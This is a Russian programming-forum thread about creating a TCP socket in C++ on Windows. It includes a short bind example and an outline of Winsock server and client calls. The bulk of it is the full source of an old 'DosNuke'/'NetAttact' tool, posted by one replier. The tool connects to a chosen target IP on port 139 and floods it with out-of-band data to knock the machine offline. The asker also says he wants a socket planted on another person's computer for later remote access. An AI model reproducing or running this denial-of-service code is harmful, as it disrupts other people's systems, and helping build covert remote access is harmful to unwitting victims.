-4 / 26 / 9
Регистрация: 06.03.2015
Сообщений: 209
1

Создание сокета

06.03.2015, 23:21. Показов 3233. Ответов 5
Метки нет (Все метки)

Всем доброго времени суток. Знаю, таких тем тут уже 100500, но всеже прошу о помощи: помогите пожалуйста написать простейшую программу, которая будет создавать сокет и давать ему значение "1". Буду очень благодарен...
__________________
Помощь в написании контрольных, курсовых и дипломных работ, диссертаций здесь
0
Programming
Эксперт
94731 / 64177 / 26122
Регистрация: 12.04.2006
Сообщений: 116,782
06.03.2015, 23:21
Ответы с готовыми решениями:

Создание сокета
Кто-нибудь помогите! Нужен рабочий код сервера и клиента с UDP соединением (сокет). Буду премного...

Создание Серверного Сокета
Помогите пожалуйста разобраться и найти ошибку при создании серверного сокета. В общем функция bind...

Создание сокета(начальный уровень)
Прошу помочь разобраться в чем проблема , не могу соединиться с хостом на 25 порту , там как я...

Работа с сокетами. Создание сокета сервера
Проверьте, пожалуйста программу (она еще не дописана до конца), выскажите замечания. #include...

5
Ушел с форума
Эксперт С++
16450 / 7414 / 1186
Регистрация: 02.05.2013
Сообщений: 11,617
Записей в блоге: 1
07.03.2015, 09:53 2
Цитата Сообщение от Dave_ Посмотреть сообщение
создавать сокет и давать ему значение "1".
Бессмыслица. Или переформулируйте вопрос.
0
4 / 4 / 1
Регистрация: 22.02.2015
Сообщений: 17
07.03.2015, 11:36 3
Цитата Сообщение от Убежденный Посмотреть сообщение
Бессмыслица. Или переформулируйте вопрос.
Да ясно что спрашивают ( как к определённому порту прикрепиться )
C++
1
2
3
4
5
6
7
8
9
10
11
12
WORD Port = 31337;// Номер вашего порта.
struct sockaddr_in boundaddr;
memset(&boundaddr,0,sizeof(boundaddr));
boundaddr.sin_family            = AF_INET;
boundaddr.sin_addr.s_addr   = INADDR_ANY;
boundaddr.sin_port      = htons( Port );
if(( bind( Socket, (struct sockaddr*)&boundaddr, sizeof(boundaddr))) == SOCKET_ERROR )
{
    // "-->FAILED: bind port.
    closesocket( Socket );
    return 1;
}
Добавлено через 10 минут
Эта старая программа "валила виндозу"
C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
/*
    These code is provided for reference only.
    You can freely COPY, MODIFY, DISTRUBE, BUILD or whatever you find useful,
    provided you should use your mind.
    
    Original Author : Calvin Lee
    Vendor: Calvin's Labs Software Development.
    www-page : [url]http://i.am/devil[/url]
    * Visit my download area for the executable (.exe) and latest producet *
    Welcome send bug report to: [email]devil@i.am[/email]
    
    This program is designed for BC++ 5.0.
*/
 
#include <conio.h>
#include <stdio.h>
#include <winsock.h>
 
// Parameters
struct {
    int port;
    char* targetIP;
    int NumOfAttact, BufSize;
} parm;
 
void Pause(void)
{
    cprintf("Press any key to exit...");
    getch();
    cprintf("\r\n");
}
 
int CheckWinsock()
{
    WORD wVersionRequested;
    WSADATA wsaData;
    int err;
    
    wVersionRequested = MAKEWORD(1, 1);
    err = WSAStartup(wVersionRequested, &wsaData);
    if (err != 0)
        return err;
 
    if ( LOBYTE( wsaData.wVersion ) != 1 || HIBYTE( wsaData.wVersion ) != 1 )
    {
        WSACleanup();
        return -1;
    }
    return 0;
}
 
void ParseIP(char* des, char* theIP)
{
    unsigned int val;
    char i;
    for (i = 0; i < 4; ++i)
    {
        if (*theIP != '\0')
        {
            val = 0;
            while (*theIP != '\0' && *theIP != '.')
            {
                val *= 10;
                val += *theIP - '0';
                ++theIP;
 
            }
            
            des[i] = (char)val;
 
            if (*theIP != '\0')
                ++theIP;
        }
    }
}
 
void ParseParm(int argc, char* argv[])
{
    char* value;
    for (int i = 1; i < argc; ++i)
    {
        if (argv[i][0] == '/')
        {
            argv[i][1] = (char)toupper(argv[i][1]);
            value = &argv[i][2];
            
            switch (argv[i][1])
            {
            case 'P':
                parm.port = atoi(value);
                break;
            
            case 'T':
                parm.targetIP = value;
                break;
            
            case 'N':
                parm.NumOfAttact = atoi(value);
                break;
            
            case 'S':
                parm.BufSize = atoi(value);
                break;
            }
        }
    }
}
 
int main(int _argc, char* _argv[])
{
    int i, errcode;
    char* tempbuf;
    
    SOCKET theSocket;
    sockaddr theAddr;
    
    cprintf(
        "Calvin's Labs NetAttact(tm).\r\n"
        "Written by Calvin Lee, Copyright (c) Calvin's Labs, 1998. All rights reserved.\r\n"
        "Usage : DosNuke [/Pport] [/Ttarget] [/Nnum] [/Ssize]\r\n"
        "        port :  target port, default is 139.\r\n"
        "        target: IP address in the form \"a.b.c.d\".\r\n"
        "        num:    number of attacts, default is 10.\r\n"
        "        size:   Bytes to send in each attact, default is 1024.\r\n\n"
        "NOTE: It can sometimes make other machine lost its network connection.\r\n"
        "      Please think deeply before attacting others.\r\n"
        "      I will not responsible for any result happened on the target!\r\n\n"
        "==Press <Ctrl+C> to quit whenever you want==\r\n\n");
    
    if (CheckWinsock())
    {
        cprintf("-->FAILED: Start Winsock!\n");
        Pause();
        return 1;
    }
    
    // Выделить гнездо:
    theSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if (theSocket == -1)
    {
        cprintf("-->FAILED: Allocate socket!\r\n");
        Pause();
 
        WSACleanup();
        return 2;
    }
    
    cprintf("*** Using socket: %d\r\n", theSocket);
    
    // Установка значений по умолчанию:
    parm.port = 139;
    parm.targetIP = NULL;
    parm.NumOfAttact = 10;
    parm.BufSize = 1024;
 
    // Получить параметр(ы):
    ParseParm(_argc, _argv);
    if (parm.targetIP == NULL)
    {
        parm.targetIP = (char*) malloc(256);
        cprintf("*** Enter the target IP: ");
        scanf("%s", parm.targetIP);
        cprintf("\r\n");
    }
    
    // Установка соединения TCP...
    theAddr.sa_family = AF_INET;
    theAddr.sa_data[0]= (char)(parm.port/256);// Старший байт порт.
    theAddr.sa_data[1]= (char)(parm.port%256);// Младший байт 139 = NetBIOS
    
    ParseIP(&theAddr.sa_data[2], parm.targetIP);
    
    // Установить соединение с целью: гнездо, IP, порт:
    cprintf("Establish connection to %s on port: %d\r\n", parm.targetIP, parm.port);
    errcode = connect(theSocket, &theAddr, sizeof(sockaddr));
    if (errcode)
    {
        cprintf("Error connecting target.\r\nPlease verify the IP address and make sure the target is listening the port.\r\n");
        Pause();
        WSACleanup();
        return 1;
    }
    
    cprintf("*** STATUS: Connected!!!\r\n");
    
    // Подготовка данных для отправки:
    tempbuf = (char*) malloc(parm.BufSize);
    for (i = 0; i < parm.BufSize; ++i)
        tempbuf[i] = 0;
    
    // Nuking...
    for (i = 0; i < parm.NumOfAttact; ++i)
    {
        errcode = send(theSocket, tempbuf, parm.BufSize, MSG_OOB);
        
        cprintf ("*** Attact: %d , Send ", i);
        if (errcode == -1)
            cprintf("-->FAILED: Nuking\r\n");
        else
            cprintf("%d bytes.\r\n", errcode);
    }
    
    // Освободить все:
    free(tempbuf);
    closesocket(theSocket);
    WSACleanup();
    
    cprintf("*** Closed socket and free up resources.\r\n");
    Pause();
}
0
-4 / 26 / 9
Регистрация: 06.03.2015
Сообщений: 209
07.03.2015, 11:44  [ТС] 4
Попробую несколько перефразировать: мне нужна программа(ексешник), которая бы создавала сокет TCP с определенным адресом. После этого ( уже используя другую программу ) я подключаюсь к этому сокету и уже работаю напрямую с ним. Т.е мне нужна программа, которая создала бы на компе другого человека сокет с определенным ип и портом для последующей работы с ним.
0
4 / 4 / 1
Регистрация: 22.02.2015
Сообщений: 17
07.03.2015, 11:46 5
Эта ветвь программистов.
Вам в отдел фрилансеров.
0
Ушел с форума
Эксперт С++
16450 / 7414 / 1186
Регистрация: 02.05.2013
Сообщений: 11,617
Записей в блоге: 1
07.03.2015, 12:48 6
Dave_, это в любой книжке по программированию сетей написано.
В Windows, к примеру, это делается так:

Сервер:
- инициализация Windows Sockets (WSAStartup);
- создание сокета (функция socket с параметрами AF_INET, SOCK_STREAM и IPPROTO_TCP);
- привязка сокета к локальному адресу (функция bind);
- перевод сокета в режим приема (функция listen);
- прием входящих подключений (функция accept);

Клиент:
- инициализация Windows Sockets;
- создание сокета;
- установка соединения с сервером (функция connect);

После установки соединения accept на сервере вернет новый сокет, через
который сервер сможет принимать и отправлять данные клиенту.
Для передачи данных используются функции send и recv.

Закрытие соединения выполняется функцией shutdown.
Затем закрываются дескрипторы - closesocket. И выполняется
деинициализация Windows Sockets - WSACleanup.

Разумеется, возможны самые разные варианты (асинхронные сокеты,
порты завершения ввода-вывода с пулом потоков и т.д.), но это -
база, которая описана в любой книжке по сетям. С чтения которых и
советую начать.
1
IT_Exp
Эксперт
87844 / 49110 / 22898
Регистрация: 17.06.2006
Сообщений: 92,604
07.03.2015, 12:48
Помогаю со студенческими работами здесь

Безопасность сокета
Здравствуйте. На сколько безопасен сокет. То есть гуляя по сети можно ли подменить трафик на свой,...

Ошибка сокета
Вечер добрый. Столкнулся с такой проблемой. И cуть ее в следующем.. Для отправки сообщения на...

Порт сокета
Есть камера, которая вещает в сеть. Подключаюсь к ней по RTSP, отправляю команды OPTIONS и...

Блокировка сокета
как сделать recv на 10 секунд?


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
6
Ответ Создать тему
Опции темы

КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin
Copyright ©2000 - 2022, CyberForum.ru